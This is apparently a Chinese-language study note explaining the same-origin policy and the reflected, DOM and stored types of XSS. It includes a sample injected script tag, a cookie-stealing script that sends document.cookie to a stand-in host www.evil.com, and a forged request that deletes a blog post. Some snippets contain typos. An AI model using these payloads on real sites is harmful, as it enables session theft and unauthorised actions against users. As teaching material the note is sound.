同源策略
同源策略,指的是瀏覽器對不同源的腳本或者文本的訪問方式進行的限制.
同源,就是指兩個頁面具有相同的協議,主機(也常說域名),端口.
XSS
跨站腳本攻擊(XSS
):惡意攻擊者往Web
頁面裏插入惡意html
代碼,當用戶瀏覽該頁之時,嵌入其中Web
裏面的html
代碼會被執行,從而達到惡意攻擊用戶的目的.
反射型XSS
假如輸入變量沒有經過htmlEncode
處理, 那麼這個變量就存在一個XSS
漏洞
攻擊步驟
1. 將含有攻擊代碼的URL
發送給被攻擊人
2. 用戶打開攻擊者發送過來的URL
3. Web
應用程序執行用戶請求同時也會執行URL
中攻擊者的JavaScript
代碼
DOM
型XSS
基於文檔對象模型Document Object Model
的一種xss
- 使用
document.write
直接輸出導致瀏覽器解析惡意代碼 - 使用
innerHTML
直接輸出導致瀏覽器解析惡意代碼 eval()
,setTimeout/setInterval
,location/location.href/location.replace/iframe.src
存儲型XSS
存儲型XSS
攻擊就是把攻擊數據存進數據庫,攻擊行爲就伴隨着攻擊數據一直存在
XSS Payload
XSS Payload
是JavaScript
腳本(還可以是Flash
或其他富客戶端的腳本)
最常見的XSS Payload
就是讀取瀏覽器的Cookie
對象
Cookie
中一般加密保存了當前用戶的登錄憑證
攻擊者先加載遠程腳本
http://www.hhh.com/hhh.html?url="><script scr=http://www.evil.com/evil.js ></script>
真正的XSS Payload
在遠程腳本.
evil.js
var img=document.createElement(“img”);
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
最簡單的竊取Cookie
的XSS Payload
防止:Cookie
的HttpOnly
標識可以防止
網站上的應用,只需要HTTP
的GET
POST
請求,即可完成所有操作,可以通過javascript
構造GET
POST
請求讓應用執行操作
var img=document.createElement(“img”);
img.scr=”http://blog.sohu.com/manage/entry.do?m=delete&id=1111″;
document.body.appendChild(img);
攻擊者只需要讓博客的作者執行這段JavaScript
代碼,就會把這篇文章刪除.